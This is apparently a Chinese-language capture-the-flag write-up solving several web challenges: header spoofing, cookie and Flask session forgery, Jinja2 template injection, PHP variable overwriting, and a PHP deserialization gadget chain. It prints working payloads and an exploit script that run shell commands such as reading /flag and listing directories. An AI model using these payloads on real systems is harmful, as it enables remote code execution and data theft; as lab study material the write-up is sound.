00-F12

签到,F12看js源码,查找flag就可以找到了

01-headers

(赛后复现的 打出来之后真的觉得自己还是太菜了

这道题存在信息泄露,简单的robots.txt(哎

然后进入ydswantmanygfs.php,直接说You are not from yoshino-s.online,那么直接抓包吧

可以在头信息中发现一个hint: How to get remote ip

先试着用XFF传yoshino-s.online,但是页面没有改变,那么说明现在就要利用hint,remote ip也就是发出请求的主机ip,那么ping一下吧

img

XFF换成47.116.142.11就可以得到flag了

02-cookies

玩了一会之后可以发现cookie里面有score的值

可以直接拿去解码,这里的%3d=,所以可以先猜测是base64

img

Gunzip解密之后就是我们原本的成绩了

直接百度,可以知道加密方式是Gzip

那么就直接用301一步一步加密回去,在score.php界面抓包,修改一下session就好了

payloao:

1
H4sIAGWo6WEA/wXAAQkAAADCsEoe+3cbXwAStPRXAwAAAA==
04-template

没有任何过滤的模板注入

jinjia

直接打payload就好了,这里选择catch_warnings,直接写个脚本找吧,实在不行一个一个数

payload:

1
{{''.__class__.__bases__[0].__subclasses__()[213].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
05-php

陇原战役的题目,但是被改过了,直接看hint的phpinfo就可以找到flag

payload:

1
C:4:"Hint":0:{}
Ezhttpd

简单的代码审计

就以刚看到这道题的时候的顺序,我们一个一个文件审计:

0x01:index.php

1
2
3
4
5
6
<?php
error_reporting(0);
define("main","main");
include "evil.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);

包含 evil.php,实例化Temp类,post传值,get传filename到display函数中

0x02:evil.php

// 重点!! 看完还是对方法有困惑的可以百度 “php魔术方法” 甚至可以去自学面向对象

1.这里主要就是Temp类,查看逐个方法

1
2
3
public function __construct($data){
$this->date = array_merge($this->date,$data);
}

__construct 构造方法,在实例化类的时候自动调用,也就是我们在index.php利用post传的值就是这里$data的值;

array_merge合并两个数组;

2.getTempName

1
2
3
4
5
6
7
8
9
10
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
else{
$this->template = './template/index.html';
}
}

传入相应参数,要求$dir==='admin'并修改$this->template的值;

str_replace字符串替换函数;

3.display

1
2
3
4
5
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}

extract$this->data的值进行变量覆盖:

之后调用getTempName方法,这里我们会把display默认的参数$space再次传入getTemlName,别忘了我们之前审计的代码中要求传入的第二个参数要为admin,所以我们这里也要实现对space的修改,而由于有变量覆盖,所以我们可以利用post传sapce为admin,从而使得space进入$this->date,实现在变量覆盖的时候而方法中对$this->template进行了修改,并在最后包含$this->template表示的文件

4.listdata

这个方法东西有点多,我就把最主要的拿出来吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$params = explode(' ', $_params);

foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}

case 'function':
if (!isset($param['name'])) {
return 'name参数不存在';
} elseif (!function_exists($param['name'])) {
return '函数['.$param['name'].']未定义';
}

$force = $param['force'];
if ($force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}

explode$_params以空格进行分割并返回数组形式,使得之后的遍历和赋值得以实现(自己去看源码理解

接下去第一段,判断$param['name']是否为定义并且是否为函数;

第二段,判断$force是否定义,若已定义那么再遍历$param并判断是否存在param键值,若存在那么就给$p赋值,若$p被赋值那么进入下面的if,利用call_user_func_array函数执行$param['name']函数,而$p的值则为该函数的参数

0x03:admin/index.htmk

发现三行php代码,看这三个变量$img $version $mod,前面两个是不是很眼熟,正式Temp类中date数组里面的,而经过变量覆盖之后我们可以调用,那么这里的$mod不是原数组里面的,那么说明我们可以通过post传参从而实现调用$mod,然后进入listdata方法,绕过一个个if语句到最后的call_user_func_array($param['name'], $p)进行代码执行

1
2
3
<img src="<?php echo $img;?>">
<div><?php echo $this->listdata("action=list module=$mod");?><div>
<h6>version: <?php echo $version;?></h6>

0x04:解题+总结

现在代码都走一遍了,但是要怎么调用call_user_func_array,还是有点迷惑,这里重点在于explode函数,因为他会将我们传入的mod通过空格分隔出来,就比如源代码是action=list module=$mod,最后就会被分成action=listmodule=$mod,那么如果我们$mod传入的时候就会自带空格呢,直接举个例子吧:

1
2
3
4
5
6
7
8
9
10
$a = 'a';
$b = "action=list module=$a";
$c = explode(" ",$b);
var_dump($c);
//array(2) {
// [0]=>
// string(11) "action=list"
// [1]=>
// string(8) "module=a"
//}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$a = 'a action=function name=1';
$b = "action=list module=$a";
$c = explode(" ",$b);
var_dump($c);
//array(4) {
// [0]=>
// string(11) "action=list"
// [1]=>
// string(8) "module=a"
// [2]=>
// string(15) "action=function"
// [3]=>
// string(6) "name=1"
//}

清晰明了,因为在遍历中会出现两次action,那么前面的list肯定就会被后面的function给覆盖了呀,那么应该都懂了最后我们$mod的构造方法了吧,那之后只要根据代码构造我们想要的东西就好了

payload:

(为什么要用%09呢,dddd

1
2
3
4
5
get:
filename=index.html
post:
space=admin &
mod=1 action=function name=system force=1 param=ls%09/
EasyPython

工具:flask session

flask session伪造 + 简单的模板注入

既然题目说是python,那么直接试着在filename上查看app,py,可以直接得到源码

0x01:

存在secret_key app.config['SECRET_KEY']=secret.SECRET_KEY,而SECRET_KEY取值于在secret.py文件中

0x02:/source

1
2
3
4
5
6
7
8
9
10
@app.route('/source', methods=["GET"])
def show_source():
filename = request.args.get('filename','jinchengshu.jpg')
if filename.endswith(".py") or 'flag' in filename or '..' in filename:
f = "".join(open(__file__,'r').readlines())
return "nononono! you too young!give you source!! <br>"+f
f = "let's look look shuaige's pho;He is so handsome. He used to be called jinchengwu, but now he is called jinchengshu;<br><br>"
f += "<img src=data:image/jpeg;base64,"+base64.b64encode(open(filename,'rb').read()).decode()+">"
return f

1.get方式传filename并对其内容进行进行判断,以.py为结尾、包含flag or ..则返回当前文件的内容

2.base64.b64encode(open(filename,'rb').read()).decode()实现读取文件的源码

现在我们已知SECRET_KEY在secret文件中,并且还可以通过代码得到源码,所以我们要先绕过第一个if并且读取出secret.py文件里面的内容

hint: __pycache__ (自行百度吧

百度之后并测试之后可以得到文件的路径是

payload1:

1
filename=./__pycache__/secret.cpython-35.pyc (这里的35是python的版本,因为本地测试的时候39,但题目的python版本的3.5

然后就可以得到源码,解密得到Secret-Key

0x03:/ssti

1
2
3
4
5
6
7
8
9
@app.route('/ssti',methods=['POST','GET'])
def ssti():
print(session)
info = session["info"]
data = request.form.get("data","")
if info["admin"]=="admin":
return render_template_string(data)
else :
return "have one more try young man"

1.这里只有一个点就是info["admin"]=="admin",等式成功之后就会导致render_template_string(data),对data的值进行渲染造成模板注入

注意这里的info的值来自于session,那么直接查看session是什么样的。可以发现session被分成了三段,再根据题目flask,可以大胆猜测是flask session伪造(主要是之前做过同类型题目

既然前面已经拿到SECRET_KEY了,那么就直接用工具加密,然后修改session,传data进行模板注入

payload2:

1
session:eyJpbmZvIjp7ImFkbWluIjoiYWRtaW4ifX0.YaN-KQ.tuTHvwPH5IxVm0ct06b9d8F1iZc 

payload3:

1
data={{''.__class__.__bases__[0].__subclasses__()[375].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
Ezunser

反序列化未定义的类

直接给了源码:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function myAutoloader($classname){
include $classname.".php";
}
if(isset($_REQUEST['pop'])){
$pop = $_REQUEST['pop'];
$o = unserialize($pop);
echo "<br/>";
spl_autoload_register('myAutoloader');
$raw = serialize($o);
if(preg_match("/Evil/",$raw)){
throw new Error("Evil Classes!");
}
$o = unserialize($pop);
var_dump($o);
}else {
highlight_file(__FILE__);
echo "<br/>EvillClass.php";
highlight_file("EvilClass.php");
}

0x01:

先审计index.php

第一个点在于spl_autoload_register,当调用index.php中没有定义的类的时候就会自动调用myAutoloader($classname),其中$classname就是我们想实例化的类

想当然地我们想调用EvilClass.php里面的类,所以要include EvilClass.php,但是文件里还是没有定义EvilClass,这里就涉及到一个[php反序列的冷知识](PHP序列化冷知识 - 知乎 (zhihu.com))

我们还发现之后的if判断语句中ban掉了Evil,这就说明在序列化之后的字符串中不能再出现EvilClass,不过可以直接拿里面的payload

所以payload1:

1
a:1:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:9:"EvilClass":0:{}}}

EvilClass.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

class A
{
public $a;
public $b;

}
class B
{
public static $a = false;
public static $b = false;
public static $allowfunc = ["var_dump"];
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
B::$b = true;
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
B::$a = true;
$this->b->see();
}
public function __destruct(){
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}

?>

0x02:

之后就是开始利用EvilClass.php

前面到A的pop链比较简单:

1.从__destruct出发,利用die返回字符串调用__toString

2.然后在C中实例化D,调用read方法

3.D中实例化F,调用__call魔术方法

4.F中实例化E,调用__invoke魔术方法,再实例化A进去see方法

之后的重点就是see

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
$a = basename($checker->getFileName());
if($a != 'EvilClass.php'&&B::$a&&B::$b){
if(isset($b->a)&&isset($b->b)){
$func = $b->a;
$args = $b->b;
if(preg_match('/(\S+)\("([^)\\\\\"\x00-\x19;,{}$]+)"\)/m',"$func(\"$args\")",$match)){
if(!in_array($match[1],B::$allowfunc)&&function_exists($match[1])){
die("not allow");
}
eval("$match[1](\"$match[2]\");");
}
}
}
}

0x03:

这里卡了两次

1.从第一个if里面可以知道$this->b实例化的类不能是EvilClass.php文件中存在的类,所以现在只能利用原生类了,利用脚本找原生类的时候总是过不去,要么说未定义要么直接bad request,后来出了hint >> stdClass,这样第一个if和第二个if过了

2.第三个if进行正则匹配,一开始又试了半天,最后可以发现我们构造的payload的形式可以是:

1
2
$func=var_dump('');system  // 如果想在var_dump里面执行命令的话,直接用反引号就可以的 var_dump(`ls`);
$args=ls

(之后给的那个干货好像没用过

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
<?php
// class stdClass{
// pubLic function __construct(){
// $this->a = 'var_dump(`ls`);system';
// $this->b = 'ls /';
// }
// }

class A
{
public $a ;
public $b ;
public function __construct(){
$this->b = new stdClass();
$this->b->a = 'var_dump(`ls`);system';
$this->b->b = 'ls /';
}
public function see()
{
// $b = $this->b; // new A
// $checker = new ReflectionClass(get_class($b));
// $a = basename($checker->getFileName());
// if($a != 'EvilClass.php'&&B::$a&&B::$b){
// if(isset($b->a)&&isset($b->b)){
// $func = $b->a;
// $args = $b->b;
// if(preg_match('/(\S+)\("([^)\\\\\"\x00-\x19;,{}$]+)"\)/m',"$func(\"$args\")",$match)){
// if(!in_array($match[1],B::$allowfunc)&&function_exists($match[1])){
// die("not allow");
// }
// eval("$match[1](\"$match[2]\");");
// }
// }
// }
}
}
class B
{
public static $a = false;
public static $b = false;
public static $allowfunc = ["var_dump"];
}
class C
{
public $a;
public $b;

public function __construct(){
$this->a = new D();
}
public function __toString()
{
// $this->a->read();
// return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function __construct(){
$this->b = new F();
}
public function read()
{
// B::$b = true;
// $this->b->learn();
}
}
class E
{
public $a;
public $b;

public function __construct($a,$b){
$this->a = $a;
$this->b = $b;
}
public function __invoke()
{
// B::$a = true;
// $this->b->see();
}
public function __destruct(){
// die($this->a);
}
}
class F
{
public $a;
public $b;

public function __construct(){
$this->b = new E('',new A());
}
public function __call($t1,$t2)
{
// $s1 = $this->b;
// $s1();
}
}


$a[1] = new E(new C(),'');;
var_dump(serialize($a));

// a:1:{i:1;O:1:"E":2:{s:1:"a";O:1:"C":2:{s:1:"a";O:1:"D":2:{s:1:"a";N;s:1:"b";O:1:"F":2:{s:1:"a";N;s:1:"b";O:1:"E":2:{s:1:"a";s:0:"";s:1:"b";O:1:"A":2:{s:1:"a";N;s:1:"b";O:8:"stdClass":2:{s:1:"a";s:21:"var_dump(`ls`);system";s:1:"b";s:4:"ls /";}}}}}s:1:"b";N;}s:1:"b";s:0:"";}}

将结果和payload1合在一起:
payload:

1
a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:9:"EvilClass":0:{}}i:1;O:1:"E":2:{s:1:"a";O:1:"C":2:{s:1:"a";O:1:"D":2:{s:1:"a";N;s:1:"b";O:1:"F":2:{s:1:"a";N;s:1:"b";O:1:"E":2:{s:1:"a";s:0:"";s:1:"b";O:1:"A":2:{s:1:"a";N;s:1:"b";O:8:"stdClass":2:{s:1:"a";s:21:"var_dump(`ls`);system";s:1:"b";s:4:"ls /";}}}}}s:1:"b";N;}s:1:"b";s:0:"";}}

之后再利用readflag读取就好了